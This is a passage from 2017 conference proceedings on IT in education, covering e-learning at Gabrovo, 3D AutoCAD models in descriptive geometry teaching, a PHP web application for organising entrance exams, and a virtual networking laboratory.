This paper describes the initial challenges, building process and content, some technical details, and some practical extensions of the e-learning systems functioning at the Technical university of Gabrovo. Introduction and implementation of e-distance learning as a new form of teaching and learning improves the quality of education and lays the foundation for long-term and sustainable development in accordance with the new requirements of the labor market. It must therefore be concluded that the commercial firms directly related to the Technical University of Gabrovo improve the quality of their products and services. Expansion of educational opportunities like implementation of distance eLearning entails the need of educational infrastructure development. The based virtual library, providing a broad and easy access to information and educational resources, as well as expanded and adapted learning and information system along with quality management are adequate and innovation open responses to new educational needs of students. The wide applicability of the established practices of e-distance learning in the various disciplines of the pilot as well as the development of activities planned for a long period after the project ended, lead to the conclusion that the nature of the training form is highly adaptable and

implemented in time. Expansion of educational services in different directions gives a significant impact on the development of university social capital.

Realization of distance learning modules, integrated in information database of all university departments will provide better communication between teachers, students and PhD students and will help their collaboration in the future.

Creation of such an infrastructure is crucial in modern high-tech world, where everything around us is digitalized.

The advantages of implementation of distance learning courses in education are:

- Achievement of high level of psychological comfort with information presented in a user friendly way, in convenient time period and on all sets of end user devices;
- Ensuring good material absorption by using different forms of representation of educational content, assigning homework independently, ensuring systematic monitoring and more.
- Ensuring productive dialogue training through a variety of interactive tools and student feedbacks;
- Easy manageability of content wide opportunities for expansion and management of the learning database;
- Presence of the collaboration of all possible kinds and individual selection of the most suitable of them;
- Optimal combination of different types of work - collective, private, under the supervision of a mentor and others.

Conducted theoretical and experimental studies have shown the beneficial effects of the introduction of information-based educational modules related to the planning and construction of communication networks of different types. Good network planning is linked to compliance with all necessary parameters, which requires good knowledge of all existing standards. This can be achieved through the use of easy accessible eLearning databases with flexible search capabilities.

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Project 1709E "Development and implementation of innovative IT technologies in education"

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SINTEZA 2017

INFORMATION TECHNOLOGY IN EDUCATION

IT SUPPORT FOR DESCRIPTIVE GEOMETRY COURSE FOR ENGINEERING STUDENTS

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Abstract:

Constant development of IT technologies and Descriptive Geometry (DG) course time limitation pose new challenges in engineering education methodology. A wide range of supportive digital tools for knowledge transfer exist for reaching certain goals related to young engineers' spatial perception, imagination and comprehension. The combination of classic DG teaching methods and 3D software environment as a demonstration tool was tested on three generations of students. Statistical analyses based on data collected through student questionnaire have shown the benefits of 3D CAD models implementation regarding achievement and motivation, as well as the student ability to use new technology environment resources.

Keywords:

Descriptive geometry teaching/learning, 3D Auto CAD geometric models, Students' motivation, engineering education.

1. INTRODUCTION

In an ever-changing technological world, new educational technologies continue to emerge at a rapid pace expanding our access to new information. Information and communication technologies (ICT) represent a set of tools and applications that allow the incorporation and strengthening of new educational strategies. Many of them have been defined in new teaching frameworks during the last two decades. The interest, need, and urgency to implement new technologies in education and at universities in particular are relatively new [1]. At the same time, the exact impact of using technology for instruction is still unknown. For an educator in the 21st century, it is important to gain a deeper understanding of the impact of technology on education [2]. New technology implementations in the teaching field have been largely extended to all types of levels and educational frameworks. One of them is the subject of this paper, Descriptive geometry (DG), as an area where 3D computer modeling and interactive software visualization can be applied with potentially significant impacts.

Young engineers' attention at the Faculty of Civil Engineering is focused on modern methods and computer aided teaching/learning processes. The first year study curriculum, in particular, intends to provide basic knowledge for developing engineering skills, such as spatial perception, imagination, and geometric task solving relevant for future professional demands [3]. The essential knowledge includes geometric shapes and their characteristics applicable in engineering practice. These goals are assumed to be achieved in contemporary Descriptive Geometry (DG) course training [4]. As stated by Stachel in [5] "DG is a method to study 3D geometry through 2D images.... Typical for DG is the interplay between 3D situation and 2D representation". The teaching practice streamline of DG course at the Faculty of Civil Engineering relies on 3D computer environment implementation (AutoCAD software). Auto CAD have already proved its efficiency and quality for educational purposes, both in 2D drawings and 3D modeling [6, 7]. 3D representations of spatial elements and structures in Auto CAD are aimed to complement 2D drawings (classical orthographic and isometric projections) - solutions of specific geometric tasks. However classical drawing performance on a blackboard (for teachers)/sheet of paper (for students) is not abandoned.

Several goals of 3D CAD models implementation include the possibility of direct correlation of virtual –"spatial" model and its 2D projections (view tool palette), visual perception of geometric entities (various surfaces and solids), visual contact with 3D object from any observer's point of view, (orbit command) and "step by step" guidance through task solution process (*layer control*), all enabled in AutoCAD.

In accordance with personal and worldwide scientific research results and discussions [8, 4, 5, 7, 9, 10], benefits were expected in regard to spatial reasoning and imagination, spatial abilities and DG learning motivation improvement, as well as better scores achievement. Statistical analyses were done on data collected through student's questionnaire filled in after the final exam. The sample included 130 students from the three last generations.

2. DESCRIPTIVE GEOMETRY COURSE ORGANIZATION

Organization of lectures

Contemporary practice of DG course lecturing during three months (two lessons per week) is not enough for complex course content. Lectures are organized ex cathedra as Power point presentations supported by printed handouts (half finished drawings), blackboard drawings and demonstrations with 3D AutoCAD models. All the lectures (*.pdf files, or*.ptt presentations) are available at the official Faculty website.

Practice Organization

Individual practice in geometric tasks solving takes part at the Faculty (one week after each lecture/topic), on a sheet drawings, assuming that students have previously studied given handouts/tasks – AutoCAD drawing files. These files contain solutions of tasks, i.e. 2D drawings (orthographic or oblique projections) and complementary 3D models (Figs. 1a- b.), being available within teaching materials panel at www.grf.bg.ac.rs.

Teaching assistant's guidance and helping during task performance are provided in "step by step" manner instructions along with discussion and simultaneous demonstration/presentation in AutoCAD. Short instructions for *.dwg files usage were prepared in accordance to several required Auto CAD commands and tools (Fig. 2).

Descriptive geometry course organization requirements

An adequate student's response and cooperation are assumed for information and handout collection (downloading instructions and various files from the Faculty's website), activity in software acquisition and motivation to adopt new teaching environment. Even though all traditional learning accessories are available for studying (DG handbook, printed sheets for the lectures and handbook-collection of tasks) the assumption was that new generations of students would be more familiar with new technological learning environment.



Fig. 1a. 3D model of a conoid surface.



Fig. 1b. 2D drawing – oblique projection of a conoid surface.

In case of attending two corresponding courses, Engineering Graphics (where students acquire Auto CAD 2D drawing skills) and DG, a rather small number of operations (commands or tools) in Auto CAD are required.

Today, the incorporation of technology into classroom is a fact [11], though one cannot affirm that the usage of technology will lead to an increase in student motivation, satisfaction, or academic achievement. However, these innovations require approval and evaluation by the final users - students.



Fig. 2. Illustration of layer control related to specific geometric task.

Student experience regarding the modernization of DG course

The challenge for educators is to design "prototypical characteristics" for the learning settings that encourage student motivation [12]. Motivation is commonly defined as an individual's activation and degree of persistence in undertaking goal directed behavior. According to Sanacore (2008), motivation is the key to academic success as well as promotion of lifelong learning [13]. In general, motivation is defined as the individual's desire to participate in the learning process; it involves the reasons or goals that underlie their involvement or non-involvement in academic activities [14]. Student motivation is determined by their willingness and volition. Intrinsic motivation is animated by personal enjoyment, interest, or pleasure, while extrinsic motivation is dominated by reinforcement contingencies [15]. However, being motivated to learn refers to the degree to which students are dedicated to and engaged in learning. Engagement is critical, because the level of engagement over time is the vehicle through which classroom instruction influences student outcomes [16, 17]. When an individual's motivation is high - i.e., there is high activation, persistence, and goal directed behavior - achievement and performance of that individual will be great as well [18, 19]. In that regard, high subject interest could produce high levels of self reported motivation.

In order to measure the efficiency of the teachinglearning process during the semester, a survey was conducted regarding student perception. The aim was to evaluate the degree of adaptation to and satisfaction with the introduction of computer-aided teaching of DG, as well as the advantages of working with new technology environment resources. The feedback process based on data provided by students is of particular relevance, as it will bring about active modification of the methodology for future iterations of the process of classroom instruction.

3. METHODOLOGY

The total sample included 130 first year students attending DG course at the Faculty of Civil Engineering, University of Belgrade. Data were collected from the three generations of civil engineering students (2014-2016) who were monitored and inquired after the final exam.

Paper-based questionnaire (formulated by the lecturers for the purpose of this study) was filled in after the first examination term. The data were loaded and processed in a database made in MS Excel. Statistical analysis was performed using the statistical software package IBM SPSS Statistics v. 22. Normality of distribution was tested by Frequency histograms and the Kolmogorov-Smirnov test. Since the distribution of all interval variables significantly deviate from the normal distribution, the non-parametric tests were employed. To assess whether there are significant differences among two or more variables Kruskal-Wallis's tests were performed. To test the strength and direction of the linear relationship between variables Spearman's rank correlation (ρ) was calculated.

4. RESULTS



Based on the student responses, the overall outcome of the usage of AutoCAD is positive.

Fig. 3. Student motivation in respect to 3D view option usage.

Kruskal-Wallis's test show statistically significant differences in student motivation between those who used 3D view option in AutoCAD (χ 2=13.395; p=0.001) and those who encountered only traditional approach in solving geometrical problems (TABLE I). The results suggest that students who used 3D view option exhibit greater motivation in comparison to those who used it either partially or did not use this option at all (Fig. 3).

Furthermore, there are significant differences in learners motivation between those who show desire for acquiring further knowledge in 3D graphics implementing ($\chi 2$ =6.271; p=0.043) (Table I) and students who are not interested in engaging with new technology and have no desire and willingness to deploy effort toward better task completion.

Students who have greater desire for further improvement of their mastery with 3D geometry graphics exhibit higher motivation in comparison to those who show no interest to try new functions and use interactive 3D models (Fig. 4).

As expected, motivation has positive impact on academic performance of students. There is positive relationship between student motivation and their academic performance. The results suggest that students who are highly motivated received higher exam scores in comparison to those who reported moderate or low motivational level (χ^2 =13.929; p=0.001) (Table 1.).

	3D view option in AutoCAD usage	Desire for further improvement of work with 3D graphics	Exam scores		
Chi-Square	13.395	6.271	13.929		
df	2	2	2		
Asymp. Sig.	0.001	0.043	0.001		

Table 1. Student motivation regarding 3D option usage, engagement and achievement.



Have desire for further improvement No desire for further improvement

Fig. 4. Differences in student motivation and desire for further improvement of knowledge in 3D graphics.

The linear regression results offer further insight into the relationship between student motivation and their academic achievement (Fig. 5).

Spearman's rank-order correlation was run to determine the relationship among student motivation and 3D computer environment implementation (3D mode in AutoCAD and 3D view option in AutoCAD usage) and desire for further improvement of work with 3D graphics (TABLE II). Students who show higher motivation levels are more prone to use 3D mode, as well as 3D view option in AutoCAD. Higher motivation is also accompanied with stronger desire for further improvement of knowledge and work with 3D graphics.



Fig. 5. Relationship between student motivation and achievement.

	3D mode in AutoCAD usage	3D view option in AutoCAD usage	Desire for further improvement of work with 3D graphics		
Spearman's Correlation	0.182*	0.287**	0.177*		
Sig. (2-tailed)	0.033	0.001	0.045		

Table 2. Relationship among student motivation, 3D computer environment usage and desire for knowledge improvement.

5. DISCUSSION

The research results have clearly shown the benefits of 3D CAD models implementation in terms of achievement and motivation, as well as the student ability to use new technology environment resources. 3D computer modeling is also an efficient tool in innovation regarding teaching of geometry and the achievement of better results. Introduction of modern software packages in Descriptive Geometry improves the quality of studies, while students become more involved and interested.

Students are of the opinion that new teaching materials help them to understand the content of the course more easily. 3D CAD models usage is associated with high levels of reported motivation and promotes desire for acquiring further knowledge. Students who used AutoCAD were more motivated to learn Descriptive Geometry, which became one of the more popular courses. In spite of the fact that 3D CAD models usage is significantly related with higher motivational levels, those correlations were relatively weak. Therefore, it is very important to gain insight in the most relevant aspects of student experience regarding what should be improved both in future interactions and technological innovations within a teaching framework.

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INFORMATION TECHNOLOGY IN EDUCATION

WEB APPLICATION FOR SUPPORTING THE ENTRANCE EXAM ORGANIZATION

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Abstract:

A web application for supporting the organization of entrance exams is described in this paper. It is intended for university examination purposes. From a functional point of view, the application consists of three parts: the registration of candidates, planning the seating arrangements of candidates, and the evaluation of exam results. This client-server application is implemented within the NetBeans visual development environment using the open-source XAMPP package. The presentation level is realized with standard HTML and CSS web technologies, the business logic is written in the PHP programming language, while data level is implemented using the MariaDB database management system.

Keywords:

entrance exam; organization; ranking list; web application.

1. INTRODUCTION

During the last decade, contemporary society has experienced an extremelly rapid technological progress primarily due to connecting people over the world by the global computer network – the Internet. Significant changes have occured in all areas of the society, including the area of education [1]. In the higher education domain, new web-based learning methods, new ways of taking exams and assessing students, as well as distance learning facilities have emerged. These advances are primarily the result of an intensive use of various education software solutions. In the education field, the web-based approach is primarily focused on students, then teachers, and finally on adimistrative staff.

Although education software tools cover a wide range of functionalities, from simpler tools with specific purposes [2] to complex, universal applications [3], few of them are dedicated to school administration activities. Administrative staff in higher education mostly uses an information system to efficiently perform everyday tasks. However, they are constantly faced with the lack of applications intended for some tasks that are important for the institution, but rarely performed (for example, entrance exam organization, student internship planning, alumni association events planning, etc.).

The SEEO (Support for Entrance Exam Organization) application is intended only for administrative staff. Its aim is to provide an assistance

in organizing entrance exams at a higher education institution. The organizers of entrance exams can encounter various problems. For example, in case of a large number of candidates, searching for the information about the specific applicant can be hard to perform. In this case, it often happens that the documentation about the candidate is incomplete. After the exam seating arrangement is made, each change in the availability of classrooms implies a serious time-consuming problem. Since candidates always expect final results to be released as soon as possible, errors in the ranking lists are not rare, which also causes some inconvenience and may require additional time for correction. The SEEO application organizes and keeps all the information about the candidates who applied for the entrance exam in a systematical manner. Also, in a simple way it creates the exam seating arrangement and updates it if needed. After the exam is over, the application automatically generates the ranking list of candidates according to their achieved results.

In the open literature, applications dedicated to entrance exams are rarely found. Existing applications are mainly intended for students as a help in preparing the entrance exam. In our environment, an application offering support for the entrance exam at the School of Electrical Engineering, University of Belgrade, attracts one's attention [4]. It is a part of their information system and enables the organization of entrance exams for more schools with different profiles and specific grading rules at the same time. The exams can take place several days at arbitrary locations, which indicates that this is a comprehensive and versatile software tool.

This paper consists of four parts. After an introduction, the functionalities of the SEEO application are described. Details about the implementation of this application are presented in section III. Finally, the conclusion briefly summarizes the features of the application and gives some suggestions for future improvements.

2. FUNCTIONAL DESCRIPTION

Only a registered user can start working with the SEEO application by logging in with his username and password. Registration is allowed only for the staff involved in the entrance exam organization.

Regarding its functionality, the SEEO application consists of three parts:

- Registration of candidates
- Planning the seating arrangements of the candidates
- Evaluation of the results

Registration of candidates

Application of candidates for entrance exam on a higher-education institution assumes collecting some necessary information about a candidate: basic personal data, the record about success in high school, and his wishes and choices regarding the department, model of studying, etc.

Basic personal data of a candidate include: first name and family name, name of a parent, personal identification number (PID), phone number and an e-mail address.

When accepting the personal identification number which consists of 13 digits, the system performs a check of its validity. Each digit is associated with a letter of the alphabet (first digit with a, and so on), and then the control digit is calculated as:

11 - ((7(a+g)+6(b+h)+5(c+i)+4(d+j)+3(e+k)+2(f+l))%11)

If the control digit matches the last digit of PID, it is considered valid. Otherwise, it is required to enter PID once again.

Candidates's achievement during high school education (GPA, as well individual grades for specific courses relevant for the higher-education institution for which the candidate is applying) are compiled in an aggregate score according to the official rules before it is entered into the application.

During application process, a candidate also expresses his preference for the desired department and the model of studying. The department is chosen from the offered list of available ones. Within the department, the candidate can choose a specific module, if available. The candidate also chooses between two models of studying: state-funded or self-financed.

After the application is completed, the candidate is automatically associated with a unique identifier in the form of:

xyznnn

where x is – a department ID, y – a module ID, z – the model of studying, and nnn – the ordinal number of application on a department and module.

The stored data about a candidate (excluding his identifier) can be modified if neccessary. Also, a candidate can be removed from the entrance exam registration list.

The SEEO application provides a spreadsheet of all registrated candidates sorted by their identifiers. It also enables to search for the candidates using appropriate parameters (name, PID, etc.).

Planning the seating arrangements

In order to generate the seating arrangement for the entrance exam by the SEEO application, it is neccessary to define the set of classrooms for this purpose. The set of classrooms can be modified only before the assigning of seats to candidates has started.

For each new classroom two items are needed: its label number and its capacity (the number of available seats). While arranging the seating plan, the application automatically updates the numbers of remaining available seats in classrooms.

Planning the seating arrangements for an entrance exam is an iterative process on the round-robin basis. Registered candidates are picked from the list sorted by their identifiers and iteratively allocated to a classroom in the increasing order of classroom label numbers (the first candidate goes to the first classroom, etc.). When the first round is over, and each classroom obtained one candidate, the next candidate from the list goes to first classroom again. When a classroom is filled up (the capacities of the classrooms are generally different), it is not considered any more in the next round.

During the process of application, the identifiers are assigned to the candidates sequentially as they apply. The round robin seating assignement avoids the situation where two candidates who know each other (they applied together) are meant to be seated in the same classroom, next to each other. In this way, it contributes to the regularity of an entrance exam.

After the seating arrangement is completed, an appropriate list of the candidates for each classroom is generated. Additional statistics on availability of classrooms and numbers of free seats can be obtained.

Candidates who registrated later are assigned to classrooms in the same way, starting from the current state of classrooms' availability.

Evaluation of the results

After the entrance exam is over and the work of the candidates is graded, the score achieved for each candidate is entered into the application. It is accumulated with the points assigned according to the success in high-school education and ranking lists sorted by the total score are generated. A separate ranking list is generated per each department and module (Fig.1).

On each ranking list two borderlines are clearly highlighted. The first borderline on the list is set before the first candidate with a score lower than 51% points. The candidates above this limit are enrolled as state-financed students. The second borderline is set before the first candidate with a score lower than 30% points. The candidates between two borderlines are also allowed to enroll as self-financed students. The candidates below the second borderline are not eligible to enroll.

Aplikaciia za	a podršku o	organizaciji prijem	nnih ispita	
		Rang	g lista	
er: Mašinsko inž dul: Proizvodno i	enjerstvo inženjerstvo			
	Redni broj	Šifra kandidata	Ime i prezime	Ukupno bodova
	1	112005	Andrija Poletanović	82.56
	2	111001	Zoran Rendulić	80.00
	3	111002	Nemanja Nedović	55.00
		****** Granica 1: Upis stud	enata na teret budžeta ****	
	4	111003	Marijana Simović	50.00
		***** Granica 2: Upis samo	finansirajućih studenata ***	
	5	111004	Jovana Visković	30.00

Fig. 1. An example of the ranking list.

3. IMPLEMENTATION

The SEEO application is implemented using the model of three-layer client-server architecture, as it is illustrated in Fig. 2.

The first layer represents the presentation level which realizes the user-application interface. It is implemented in a standard way using HTML technology [5]. The web browser on a client computer interprets HTML code and results are displayed to the user. Uniform format of web pages within the application is obtained using CSS technology [6].

The second layer implements the business logic of the application. This layer is realized in PHP programming language [7,8]. The PHP code doesn't require compilation since it is interpreted on the web server. As it is primarily intended for web programming, the PHP code can be embedded into HTML elements, which facilitates the development process and makes it more efficient. In addition, PHP offers various libraries to support different databases. These features make it very convenient for linking and synchronizing the presentation level and data level.

The third layer enables storing of data relevant for the application and preserves their security and integrity. The data layer is based on the database management system (DBMS). This application employs MariaDB DBMS. It has been chosen as it is a free-lincenced open code software which took the place of MySQL after its commercialization. Until recently, MySQL was a standard for use in



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a small-scale and middle scale application, so it can be expected that MariaDB can take its place in the future because of their compatibility and certain enhancements (faster execution, multithreading in handling queries, etc.)



Fig. 2. Application architecture.

General functioning of the application will be illustrated using the example of registration of a new candidate. When a user clicks the Add candidate button, the web browser on the client computer interprets a corresponding HTML code and opens a page for entering data about the candidate. After data are entered into appropriate fields the user cliks the Save field. The web browser sends to the server a HTTP request for storing data into the database. The eeb server reads the database with the PHP code which implements the update of the database. The contents of the database are forwarded by the web server to the PHP interpreter for handling. Then, the interpreter performs the syntax analysis of the scrypt. Since in this case the scrypt contains the instructions for database access, PHP establishes the connection with the database server and sends an appropriate query to it. The database server executes the query by storing the received data about the candidate into the corresponding table in the database and sends the result to the PHP interpreter. This component completes the scrypt handling. It also assumes the formatting of the outcome of the query into the HTML code which is then sent to the web server. In this situation, the outcome of the query is the display of data about the candidate in the list of all candidates already registrated in the system. The web server forwards the obtained HTML code to the web browser which presents it to the user.

The entire implementation of the SEEO application is based on *open source* software. NetBeans IDE 8.1 [9]

was chosen for the development environment. This environment is widely used nowadays and offers a very comfortable editor which, among other, supports the programming languages used in this case, HTML and PHP. In addition, it is intended for work on different platforms (Windows, Linux, Mac).

During implementation the XAMPP Control Panel v 3.2.2 [10] software package is exploited. This package enables the testing and development of the application on a local computer and consists of independently created programs which operate on different platforms. In building our application, we used the following components of the XAMPP package: Apache web server, MariaDB DBMS [11] and the PHP interpreter. Yet another tool from the package was actively used – the phpMyAdmin application [12]. It provides graphical interface for convenient management of database.

In the design of the SEEO application the modular approach is followed. The implementation of system functionalities is organized into three basic modules: Candidates, Classrooms, and RankingLists. The Candidates module encompasses the functions for entering data about candidates and their choices for intended studying. The Classrooms module consists of the functions which enable the setting of available classrooms, their seating capacities and seating arrangements of registered candidates by classrooms. The RankingLists module covers the functions for entrance of data about the results achieved on the entrance exam and creates the ranking lists for different departments/modules. There is also an additional module with utility functions for application and registration of the candidates, display of information in page headers, transition between displays, termination of the application, etc.

4. CONCLUSION

In the last decade, we evidenced a rapid expansion of high-level education, prevalently because of emergence of private institutions. Besides traditional state universities, numerous private high-level education institutions such as universities and colleges have appeared. Because of a wide variety of study programs and models of studying, the number of those who finished high schools and who are interested in continuing their education has increased. The government also encourages this trend in an effort to increase the percentage of population with a high-level education degree. The legal obligation of all high-level education institutions is to organize entrance exams in the process of selection of prospective students. In many occasions the number of applied candidates is very high (sometimes several times higher than the number of enrollees), the organization of the entrance exam is a serious task. First of all, the regularity of the exam (preventing cheating, unallowed help, etc.) must be preserved which increases the number of classrooms and required staff. Also, before ranking lists are created, a fast, efficient and reliable handling of exam results must be provided.

All these requirements are practically impossible to meet without an appropriate software tool. However, there is lack of applications that could assist in the organization of entrance exams in our environment. This was just motivation for development of the SEEO application.

From a functional point of view, the SEEO application provides different conveniences in creating the consistent and complete data set for candidates, in organizing an entrance exam and forming well-organized and expressive ranking lists. The application also supports the configuration of available classroom pool for conducting an entrance exam. The change of classrooms, allocation of new ones and deallocation of existing ones are easy to manage. The main feature is planning the seating arrangement according to available classrooms on the round-robin basis. The evaluation of achieved results is itemized by departments and modules with highlighted borders for differents means of student financing.

From the aspect of implementation, the SEEO application represents a standard web application whose development employed the usual *open source* web technologies (HTML and CSS on the client side and PHP and MariaDB on the server side). The advantage of web-based implementation also include the fact that the classroom attendant has on-line data available during the exam and can perform checks, if necessary.

The SEEO application represents an advanced version of the application previously developed for administrative staff of High Engineering School of Applied Studies Tehnikum Taurunum, Zemun, Serbia. It is expected that future experience will give the estimation of its usefulness. A more detailed consideration of organizational needs of the entrance exam should lead to additional functional requirements and further improvement of the application. After that, the SEEO application can be offered to other universities and colleges as support in the organization of their entrance exams.

In order to further upgrade the SEEO application we intend to thoroughly consider its security aspects (since it is a web application), as well as enhance its functionality. Adding new functions should be a permanent process until it becomes a comprehensive system which will provide not only its main entrance exam related functionality, but also support for numerous activities specific to higherlevel education institutions.

There is an imminent need to upgrade the application by adding a feature that will be able to manage the staff on an exam and appoint attendants across the classrooms. Moreover, it should increase flexibility in terms of fulfilling candidates' wishes. If a candidate doesn't achieve the score required for the enrollment in the desired department but has sufficient score for another, this option should be offered to him. The possibility of archiving entrance exam results should also represent a significant advantage. It would allow to follow and compare the results of an entrance exam for the higher education institution over a longer period of time. In this way, some relevant information can be obtained which could have an impact on the structure and improvement of study programs.

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INFORMATION TECHNOLOGY IN EDUCATION

VIRTUAL NETWORKING LABORATORY FOR EDUCATION IN COMPUTER SCIENCE

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Abstract:

Teaching distance learning or e-learning classes include online lectures, exams and laboratory exercises using real equipment and/or simulators. This paper proposes a way to create a virtual laboratory, which provides distant access to real and virtual equipment without the risk of losing access due to misconfiguration of devices.

Keywords:

Distance learning, Virtual Laboratory, Remote access.

1. INTRODUCTION

In the modern dynamic life people demand more flexible education that fits their needs and daily time schedule. In learning concepts, the role of e-learning platforms and virtual labs is growing rapidly. There are many sophisticated online learning systems offering learning content management and delivering teaching data. This is one of the building blocks for the e-learning and distance learning process. But for the most of the bachelor and master degree courses for engineers this is not enough. For example, nearly half of the education process for engineers in the scientific field "Communication and computer technics" at our university is being conducted in labs, doing experiments, demonstrating processes and working with equipment. Students are divided in groups of ten to fifteen people. If for example dynamic routing must be demonstrated, every student will need minimum three routers, which makes a total of 30 to 45 routers. In the year 2014, our colleague Delyan Genkov [1] proposed a way to create a virtual laboratory, which provides distant access to real equipment without the risk of losing access due to misconfiguration of devices. The main disadvantage of this system is that the whole group of students cannot use it simultaneously and they have to wait for their turn to work with the equipment. Another disadvantage is that there are three to four groups of students working on the same exercise and once the group has finished, the configurations have to be cleared and initial setups uploaded.

Another approach is presented by Valchanov and Yuseinov [4]. They are proposing a virtual Cisco laboratory with provided access to simulated, instead of real devices. In our opinion this way students will not have

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access to real devices and they will get a wrong impression about the behaviour of devices. For example the router Cisco 2821 boots in two to three minutes. In some simulators [5-10] the device boots within seconds and when students try to work with real instead of simulated devices they think that the device has malfunctioned or is faulty, because it takes it too long to get operational.

Our goal is to provide students with enough networking devices, which contain a mix of real and simulated equipment, so they can fulfill laboratory exercises without the mentioned disadvantages. In addition, we try to equip every student with his own set of devices to work with, so there are no collusions between them.

2. LABORATORY EQUIPMENT

The laboratory base consists of ten workstations for students, one presenter personal computer equipped with a multimedia projector, communication rack with Cisco Networking Academy Program routers and switches and 16-port VLAN capable gigabit Ethernet switch for interconnections. Here are specifications of the equipment:

Hardware

- 1 x HPE ProLiant ML350 Gen9 Server
- 10 x HP Com Pro 4300 Celeron 2,6Ghz/8GB/500GB
- 4 x router Cisco 2821
- 1 x router Cisco 2511
- 2 x switch Cisco 2960
- 2 x switch Cisco 3560
- 1 x TP-Link Gigabit 16 port

Software and licenses

- 1 x Windows server 2012 Standard R2 64-bit
- 1 x Windows 10 Pro 64-bit
- 1 x VMware ESXi 5.5.0 U2
- 10 x Windows 7 Professional 64-bit
- 10 x Linux Debian 8 "jessie" 64-bit
- 1 x Linux Ubuntu Server 16.04.2 LTS 64-bit

All workstations are preinstalled with a dual boot option for Windows/Linux operating system. The teacher workstation is installed with Linux Ubuntu server operating system. The laboratory server is located inside the university server room in the same building, it holds a virtual platform VMware ESX, and runs two virtual machines with Windows server 2012 and Windows 10. The second virtual machine is used by teachers via RDP to present windows specific features, without the need to restart the presenting computer. This computer is used for the terminal server connection as well. Its serial port is connected to the console port of access server (cisco 2511) and from there it allows out-of-band access to all eight cisco devices via asynchronous serial interfaces to console ports of all cisco devices in the communication rack [1]. There is SSH daemon running on the teacher's computer, so this option is available from any device in the network. The access server has 16 ports so it can be used to manage more devices in the future. The block diagram of this scenario is presented in Fig. 1. This way the teacher can, not only troubleshoot device configurations, but also show students configurations on a white board with a projector.



Fig. 1. Terminal server connection.

Even if a student loses connection to cisco devices, it is possible to access it via local network with SSH session to the access server. There is also a power management board connected to each device's power source. If a device needs to be restarted or reconfigured, this can be done via web interface [1].

3. STUDENT WORKSTATIONS

All workstations share the same parameters and hardware, so it is pretty easy to install all of them with a single image file. There is a dual boot option provided by grub boot loader and every student is provided with the choice of two operating systems when computer starts up.

There are two options:

- Windows 7 Professional
- Linux Debian

After loading the operating system, there is a different username and password for every discipline. For security reasons there is a different password for Windows and Linux user on the same discipline. There are specific tools and configurations for every user and operating system. All courses and topics performed in this lab are:

- Computer networks
- Internet technologies
- Internet services
- Databases
- Network security
- Surveillance systems
- Cisco Networking Academy courses

For every one of them there is a specific set of programs, tools and configurations. The major parameters, that must be unique for every workstation, are hostname and IP address. All other gradients should be the same for all computers.

Usually students do not have to configure or install anything on their workstations. Lower grade students even do not have administrative rights so they cannot install applications and perform system configurations. All of the exercises are virtualized, so there is no need to clear configurations after every student group.

Few years ago, we presented students with the opportunity to experience and work with all major virtualizing platforms [14, 15, 16, 17]. The most suitable one turned out to be VirtualBox [15]. Even second grade students were able to import and start virtual machine in a few minutes. Combining real and virtualized devices [6, 9, 10] we are able to demonstrate complex network scenarios, like the one demonstrated in Fig. 2.



Fig. 2. Dynamic routing lab excersize.

When there are not enough real devices to fulfill lab exercise two simulators GNS3 and QEMU [9, 10] are put into action. They can simulate multiple devices simultaneously and allow a connection to the real local network for connection with real lab equipment. Fig. 3 shows a student workstation with GNS3 connected to the local network via SW1 switch.



Fig. 3. GNS3 lab excersize simulation.

Another interesting fact is that students are making the same mistakes repeatedly. In order to assist teachers and to show all students common mistakes, we decide to install TightVNC server remote control software on all workstations. With one click of the mouse the teacher can open any student's desktop and show its content on the white board via a projector. VNC client application is shown in Fig. 4.



Fig. 4. VNC viewer connection screen.

In order for VNC to work properly there must be configured static IP addresses on all workstations or they should have reservations in DHCP server. Alternatively hostnames can be used in case there is a Windows active directory or DNS reverse lookup on the network.

4. SERVER CONFIGURATION

HP server is equipped with two hard drives, with one TB storage each. They are working together in array RAID 1 for fault tolerance. After HPE ILO configuration server is installed with virtualization hypervisor VMware ESXi [14]. There is 32 GB random access memory available for virtual machines, located on this server. If needed, RAM can be extended up to 3 TB, based on 128 GB DDR4 LRDIMM. The system also has support for the new 25GbE Network Adapters and up to six hard drives, which gives possibilities for future upgrade and expansion. The server is managed with VMware vsphere client software (Fig. 5).

2	192.168.10.129 - vSphere Client –
File Edit View Inventory	Administration Plug-ins Help
Home >	a Inventory ▷ 🗊 Inventory
d e	
E 192.168.10.129	localhost.localdomain VMware ESXI, 5.1.0, 799733 Evaluation (60 days remaining)
DomainController	Getting Started Summary Virtual Machines Resource Allocation Performance Configuration Local Users & Group4
	What is a Host?
	A host is a computer that uses virtualization software, such as ESX or ESX, to run virtual machines. Hosts provide the CPU and memory resources that virtual machines use and give virtual machines access to storage and network connectivity.
	You can add a virtual machine to a host by creating a new one or by deploying a virtual appliance.
	The easiest way to add a virtual machine is to deploy a virtual appiance. A virtual appiance is a pre-built virtual machine with an operating system and software arizedy installed. A new virtual machine will need an oneration
tecent Tasks	Name, Target or Status contains: - Clear

Fig. 5. VMware Vsphere Client 5.

Two virtual machines are installed on VMware platform. The first is based on Windows 10 64-bit operating system and its main goal is to be remotely accessed by teachers for presentations, installations and experiments. The second virtual machine is preinstalled with Windows server 2012 R2 64-bit operating system and its main role is to be a primary domain controller for "Computer systems and technologies" department in Technical university of Gabrovo. The website of department was relocated from the old server to this new virtual server at the end of last year. There is also Mysql database server, an internet forum and FTP server installed for administrative convenience.

Distance learning management system ILIAS is installed with the idea to upload all curriculum materials from CST department. All our students will then have full-time access to materials and lectures available online on the address http://kst.tugab.bg/ilias.

Future plans include collecting all important documents on this server and adding new services to teachers and students.

5. CONCLUSION

The paper proposes a way to organize a virtual laboratory with both real and virtual devices. It can be used to present lectures and laboratory exercises. It also provides the remote access to real equipment without the need of initial configurations of devices. This approach also protects users from losing the connection to the devices due to misconfiguration, which is a common issue with not very skilled students. It also provides a unique approach for presenting student desktops to auditory for troubleshooting complex networking issues. Laboratory exercises are very important for students studying computer networks and communications.

Direct elimination of a number of problems associated with maintenance, setup and system recovery after crash allows teaching efforts to be entirely focused on the learning process.

Some future enhancements are planned, including the creation of system backups and remote access to the resources of the laboratory, improved user control, accounting of the commands issued from the user and the possibility for automation of the assessment of configuration results.

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Project 1712E "Creating innovative information based educational training modules in communication techniques and technologies field"

Project 1709E "Development and implementation of innovative IT technologies in education"

Both projects are from University Center for Research and Technology at Technical University of Gabrovo.

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USE OF BBC MICRO:BIT IN TEACHING TECHNICAL AND IT EDUCATION

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Abstract:

